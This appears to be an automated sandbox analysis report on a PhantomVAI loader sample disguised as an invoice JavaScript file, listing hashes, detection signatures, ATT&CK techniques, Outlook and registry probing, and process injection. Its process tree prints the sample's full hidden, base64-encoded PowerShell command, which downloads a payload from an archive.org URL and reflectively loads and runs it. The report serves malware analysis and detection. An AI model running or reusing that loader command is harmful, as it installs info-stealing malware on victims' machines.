phantomvai | b23dfe9a7e06ce12801e404603c920aed3c6ec21cd4745bef16f16da055f7eb7

Analysis

max time kernel
149s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20251016-en
resource tags

arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
submitted
11/11/2025, 13:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PI #65277_SOA 2025-11-11.js
Size 2.3MB
Sample251111-ragssser9x
SHA256 b23dfe9a7e06ce12801e404603c920aed3c6ec21cd4745bef16f16da055f7eb7
MD5 a88fcaa7d23546267052d4693631f8ad
SHA1 f21eb08a59ebd847f76799e8d326d15d2b3f18ea
SHA512 a39868583b1d551a4fa143fa9ce80d6a6802235b3b59dd52bea8062df3107d1813271277ceb905014996c7768c632dfcb4004b2033525faf05e64727fe643c3d
SSDEEP 768:kgBXa/tG0pW441b4Z2e0phOfHe+y9vxv3t7WflsmPfTWpevnDOm7rBT6bDOGscbZ:dZapWfbZ+yVjErWpw7rBT6XlF
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

collection discovery execution phantomvai loader

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://archive.org/download/msi-pro-with-b-64_20251021_1736/MSI_PRO_with_b64.png

Signatures

Detects PhantomVAI loader aka VMDetectLoader, CaminhoLoader 1 IoCs

resource	yara_rule
behavioral1/memory/5004-10-0x000001F099740000-0x000001F099AAE000-memory.dmp	family_phantomvai

PhantomVAI, VMDetectLoader, CaminhoLoader
PhantomVAI, aka VMDetectLoader, CaminhoLoader, is a loader delivering a wide variety of infostealers.
loader phantomvai
Phantomvai family
phantomvai

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5004	3224	powershell.exe	94

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
24	5004	powershell.exe
26	5004	powershell.exe
27	5004	powershell.exe
31	5004	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5004	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5004 set thread context of 3024	5004	powershell.exe	106

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5004	powershell.exe
5004	powershell.exe
5004	powershell.exe
5004	powershell.exe
3024	MSBuild.exe
3024	MSBuild.exe
3024	MSBuild.exe
1964	chrome.exe
1964	chrome.exe
3024	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	3024	MSBuild.exe
Token: SeDebugPrivilege	1964	chrome.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 5004 wrote to memory of 2752	5004	powershell.exe	105
PID 5004 wrote to memory of 2752	5004	powershell.exe	105
PID 5004 wrote to memory of 2752	5004	powershell.exe	105
PID 5004 wrote to memory of 3024	5004	powershell.exe	106
PID 5004 wrote to memory of 3024	5004	powershell.exe	106
PID 5004 wrote to memory of 3024	5004	powershell.exe	106
PID 5004 wrote to memory of 3024	5004	powershell.exe	106
PID 5004 wrote to memory of 3024	5004	powershell.exe	106
PID 5004 wrote to memory of 3024	5004	powershell.exe	106
PID 5004 wrote to memory of 3024	5004	powershell.exe	106
PID 5004 wrote to memory of 3024	5004	powershell.exe	106
PID 3024 wrote to memory of 5104	3024	MSBuild.exe	108
PID 3024 wrote to memory of 5104	3024	MSBuild.exe	108
PID 3024 wrote to memory of 1964	3024	MSBuild.exe	116
PID 3024 wrote to memory of 1964	3024	MSBuild.exe	116
PID 1964 wrote to memory of 3024	1964	chrome.exe	106

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-1872826379-1646062183-4110371642-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\PI #65277_SOA 2025-11-11.js"
1⤵
PID:4380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('W05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9IFtOZXQuU2VjdXJpdHlQcm90b2NvbFR5cGVdOjpUbHMxMjsgJGRlbmRyb3Ryb3BoZSA9IE5ldy1PYmplY3QgTmV0LldlYkNsaWVudDsgJGRlbmRyb3Ryb3BoZS5FbmNvZGluZyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjg7ICRkYXBwZXJzID0gJGRlbmRyb3Ryb3BoZS5Eb3dubG9hZFN0cmluZygnaHR0cDovL2FyY2hpdmUub3JnL2Rvd25sb2FkL21zaS1wcm8td2l0aC1iLTY0XzIwMjUxMDIxXzE3MzYvTVNJX1BST193aXRoX2I2NC5wbmcnKTsgJGJvYXJkYWJsZSA9ICgkZGFwcGVycyAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJyk7ICRwcmVoeXBvcGh5c2lzID0gJG1hdGNoZXNbMV07ICRnb3JibGltZXkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRwcmVoeXBvcGh5c2lzKSk7ICR1bmludGVsbGlnZW50bHkgPSAnPVFIZTA1U1pzbG1Sa1ZHZHlWbWR1OTJRdjAyYmo1eU1sTlhhM1YyY3Y5R2FqOXlMNk1IYzBSSGEnOyAkZ3V0dGVyeSA9ICRnb3JibGltZXkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7ICRwdWxzaWxvZ3kgPSAkZ3V0dGVyeS5HZXRNZXRob2QoJ1ZBSScpOyAkcHVsc2lsb2d5Lkludm9rZSgkYm9hcmRhYmxlLCBbb2JqZWN0W11dQCgkdW5pbnRlbGxpZ2VudGx5LCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ01TQnVpbGQnLCcnLCdNU0J1aWxkJywnJywnVVJMJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdqcycsJzEnLCcnLCdUYXNrX05hbWUnLCcwJywnJywnJywnJykpOw=='))| Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5004
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:2752
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:3024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1"
    3⤵
    - Enumerates system info in registry
    PID:5104
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb6c29dcf8,0x7ffb6c29dd04,0x7ffb6c29dd10
      4⤵
      PID:2308
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1844,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=1800 /prefetch:2
      4⤵
      PID:1952
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --field-trial-handle=1984,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=1980 /prefetch:3
      4⤵
      PID:2016
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --field-trial-handle=2136,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:8
      4⤵
      PID:2096
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --field-trial-handle=2856,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=2876 /prefetch:1
      4⤵
      PID:1932
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --field-trial-handle=2816,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:1
      4⤵
      PID:776
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --field-trial-handle=3176,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:1
      4⤵
      PID:4660
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --field-trial-handle=3212,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1964
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --field-trial-handle=3260,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=3268 /prefetch:1
      4⤵
      PID:1728
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --field-trial-handle=3280,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=3300 /prefetch:2
      4⤵
      PID:436
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --field-trial-handle=3756,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=3976 /prefetch:1
      4⤵
      PID:920
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --field-trial-handle=4148,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=4160 /prefetch:8
      4⤵
      PID:4124

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:4428

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_rnkenff5.nxs.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rnkenff5.nxs.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 0fdc630e5784f2e1599eb256459caefbd511ca78e4c461d1a313ac091df587ad
MD5 63ae9176bf6a4eddac322e8f9532aa12
SHA1 a4bfcfed126892477f8937f8b373d6f92da026e3
SHA512 40d1b4e1cddcf7be5ecc7830691da20390b9731c42fcde142a2987b8c3ce79ef3bc0554e56771412f39963e7b2a06bb77213a80003a24495a30103ae6e4af472
SSDEEP 6:/FoEXEtuutlGNSQbukIN9KutluQnbjt+YvGDogruvS6XjudR:d7XkiNbraLuYbB+YCxOxXSf
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 135324fc3b5e520b748346e4bc89fa4cfc9ea39102442f81fb39b8802591b4ca
MD5 55a37800ca44cab96420f22073c06c0f
SHA1 27cc281389f53ab1f8ae6e16ce695be2583c66d3
SHA512 180cbbe3fdb8cf77e8746b3036ccdf6906545a848127360914eec70d6ad719891302eb31a015a6e12a659a52884ab4891bf7362576856a1477072733db2b57c8
SSDEEP 48:0DYv9wMCXghNHMiXJRGxoyCqS8aBCyVaI9W0:pS/ghhDbPDqSCyVaV0
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\data_2
Size 1.0MB
SHA256 9809ca6fcec6a6699a6ce82913198870e36798e30cb5d3504bf66b4dfb1fa5f7
MD5 661767d436e120b0551d71bd721247b5
SHA1 d1706e9b5123e6d72c1c4e8f13003d3b8390706d
SHA512 2a3a4bc034fda8335e1431245732e791e18db8988e32087b797c4aa7cd669002918f124d3fd60e8d3ad1d8c1d2b8bbee7e30a1dbef5098c9e776c345cca2aaa2
SSDEEP 24:WTqkGCDOj2NIRqBXQ8XloJc0C/PuhPgg1eA3uRxbagzu3XOJmlOji2:NkGaGZRqRdoJVCehPgBADHHEmlYV
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\data_3
Size 4.0MB
SHA256 e503904f1692a444bdd5a5b981710746660ba4b4a6c4a0bd14c1a212eba88bca
MD5 d786abcc77b365dc075681e736f241b3
SHA1 50259c37c53fc1690392182bbe1953f7b2f403d7
SHA512 7e240484fe46ae8a560c1c9f685c6de985fa3cf0c8b9f7937b12a37c496ff989de28bbbad1bb236fee88610d00aae12ae468a09178aa972353bd3a6c07e97735
SSDEEP 768:jUfDPLSgcRUv+h4jfDPLSgcRUv+A4wUfDPLSgcRUv+N4QM44t44J44BE4:zUtE4O464cE
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_000001

Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\f_000001
Size 35KB
SHA256 d049ae6b458fd08732c4572620f03833d1851bf4f2ed52b38c449a633b8e155a
MD5 76d04306ae43f9ebab318a45b65a5b75
SHA1 0164e03db6ad11b08f4d29feb9e373168823b2fb
SHA512 daca07b5d6efccc4fe1a854dd5a69f78450829b67bcb06c7bc47559777657529408888ebce65b2b700df647788fb52771fb8ee2b7781efb2e5af64e1f53f31bf
SSDEEP 768:3S/Y9NFLaR3bmWkRu6W+kqmWP/MoH4nuDCqvBLVdAmzR:AY9N9CraRbW+kqmHotDCIpxR
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_000002

Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\f_000002
Size 68KB
SHA256 9b2867adfa841f69e46d6c25cea1f6d590c9fbabfa4b499403985ec8d2b9e4a5
MD5 588668e7d3a921bc20dd294ffebe5abe
SHA1 bb6cb8b3f829137ac2795496bb81b62bc99edfdd
